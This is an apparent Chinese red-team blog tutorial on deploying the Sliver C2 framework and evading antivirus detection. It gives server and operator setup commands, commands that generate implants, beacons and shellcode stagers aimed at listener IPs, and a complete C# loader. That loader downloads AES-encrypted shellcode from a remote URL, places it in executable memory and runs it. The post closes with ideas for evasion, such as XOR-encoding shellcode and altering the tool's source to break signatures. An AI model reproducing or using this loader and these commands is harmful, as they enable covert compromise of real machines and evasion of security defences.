免杀对抗-安全工具篇&新型Go架构&C2-Sliver多平台&上线模式&红队集成研究&免杀方向

首先,你需要分析:

1、安全工具是否有源代码

2、安全工具源代码逻辑复杂程度

3、当前源代码你是否有能力修改

其次,你需要考虑:

1、无源码或无能力修改

2、各种异常bug打包问题

3、修改打包后效果也不太好

故:

1、非源码修改方式:

转换SC利用同C2的加载上线模式进行对抗(难度小速度快但效果不一)

2、源码修改方式:

魔改源码打乱特征的方法重新定义工具项目(难度大但修改好后效果稳)

安全工具-新型C2-Sliver使用详解

Sliver C2 是一个开源的跨平台红队框架,采用Go开发,目前特征相对于CS更少!

集成了MSF命令行运行模式,又结合了CS的优势特点,合并提供了两种操作模式

Beacon mode:实现了异步通信方式

Session mode:实现了实时会话方式

优势:

免杀能力强化

模块化多扩展

多操组员模式

开源移植性强

支持多平台(Linux, Windows and MacOS)

Implant | 植入物

Listener | 监听器

Sessions | 会话

Beacons | 信标

Armory | 扩展管理器

Multiplayer | 多操作员模式

参考:https://forum.butian.net/share/2243

服务端:

sudo apt-get install mingw-w64 binutils-mingw-w64 g+±mingw-w64

给予执行权限:chmod +x sliver-server_linux

直接执行启用:sudo ./sliver-server_linux

生成连接凭据:new-operator --name xiaodisec --lhost 192.168.139.228

启用多人运动:multiplayer

客户端:

导入凭据:

sliver-client_windows.exe import xiaodisec_192.168.139.228.cfg

再次连接:

sliver-client_windows.exe

生成exe

Session mode:

generate --http http://192.168.139.141:90 --os windows

Beacon mode:

generate beacon --http http://192.168.139.141:90 --os windows -S 5

Session mode(Shellcode)

创建profiles

http -l 9002

profiles new --http 192.168.139.141:9002 --skip-symbols --format shellcode --arch amd64 session_test

创建分阶段监听器

stage-listener --url tcp://192.168.139.141:8443 --profile session_test

创建Stager

generate stager --lhost 192.168.139.141 --lport 8443 --arch amd64 --format c

Beacon mode(Shellcode)

http -l 9003

profiles new beacon --http 192.168.139.141:9003 --skip-symbols --format shellcode --arch amd64 beacon_test(-S 5)

stage-listener --url tcp://192.168.139.141:8003 --profile beacon_test

generate stager --lhost 192.168.139.141 --lport 8003 --arch amd64 --format c

配合C# AES

参考:https://sliver.sh/docs?name=Stagers

http -l 9004

profiles new beacon --http 192.168.139.141:9004 --skip-symbols --format shellcode --arch amd64 xiaodisec

stage-listener --url http://192.168.139.141:8004 --profile xiaodisec --aes-encrypt-key xiaodigayaxiaodi --aes-encrypt-iv gayagayagayagaya

访问http://192.168.139.141:8004/xx.woff

创建出C#项目

csharp 复制代码
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;

namespace Sliver_stager
{
    class Program
    {
        private static string AESKey = "D(G+KbPeShVmYq3t";
        private static string AESIV = "8y/B?E(G+KbPeShV";
        private static string url = "http://192.168.24.128:8443/test.woff";

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        public static void DownloadAndExecute()
        {
            ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
            System.Net.WebClient client = new System.Net.WebClient();
            byte[] shellcode = client.DownloadData(url);

            List<byte> l = new List<byte> { };

            for (int i = 16; i <= shellcode.Length -1; i++) {
                l.Add(shellcode[i]);
            }

            byte[] actual = l.ToArray();

            byte[] decrypted;

            decrypted = Decrypt(actual, AESKey, AESIV);
            IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)decrypted.Length, 0x3000, 0x40);
            Marshal.Copy(decrypted, 0, addr, decrypted.Length);
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            return;
        }

        private static byte[] Decrypt(byte[] ciphertext, string AESKey, string AESIV)
        {
            byte[] key = Encoding.UTF8.GetBytes(AESKey);
            byte[] IV = Encoding.UTF8.GetBytes(AESIV);

            using (Aes aesAlg = Aes.Create())
            {
                aesAlg.Key = key;
                aesAlg.IV = IV;
                aesAlg.Padding = PaddingMode.None;

                ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);

                using (MemoryStream memoryStream = new MemoryStream(ciphertext))
                {
                    using (CryptoStream cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Write))
                    {
                        cryptoStream.Write(ciphertext, 0, ciphertext.Length);
                        return memoryStream.ToArray();
                    }
                }
            }
        }

        public static void Main(String[] args)
        {
            DownloadAndExecute();
        }
    }
}

生成exe上线

配合PowerShell

参考:https://forum.butian.net/share/2275

profiles new beacon --http 192.168.139.141:9005 --skip-symbols --format shellcode --arch amd64 pstest

http -l 9005

stage-listener --url http://192.168.139.141:8005 --profile pstest

安全工具-新型C2-Sliver免杀方向

1、同CS一样针对ShellCode处理

generate stager --lhost x.x.x.x --lport xx --format raw

file_fl_xor.cpp

2、源码级别的二开魔改打乱特征

-默认生成的模版

-Profile流量模版

-改动工具执行调用链

相关推荐
_.Switch2 小时前
Python Web 应用中的 API 网关集成与优化
开发语言·前端·后端·python·架构·log4j
GZ_TOGOGO2 小时前
【2024最新】华为HCIE认证考试流程
大数据·人工智能·网络协议·网络安全·华为
韩楚风3 小时前
【linux 多进程并发】linux进程状态与生命周期各阶段转换,进程状态查看分析,助力高性能优化
linux·服务器·性能优化·架构·gnu
怪我冷i3 小时前
使用vscode调试wails项目(golang桌面GUI)
vscode·golang
网络研究院3 小时前
Android 安卓内存安全漏洞数量大幅下降的原因
android·安全·编程·安卓·内存·漏洞·技术
0DayHP5 小时前
HTB:Ignition[WriteUP]
网络安全
小吴同学(wlx)7 小时前
Golang 进阶3—— 协程&管道
golang
技术卷7 小时前
GO网络编程(三):海量用户通信系统1:登录功能初步
golang·网络编程
_.Switch8 小时前
Python机器学习:自然语言处理、计算机视觉与强化学习
python·机器学习·计算机视觉·自然语言处理·架构·tensorflow·scikit-learn
l1x1n08 小时前
No.2 笔记 | 网络安全攻防:PC、CS工具与移动应用分析
安全·web安全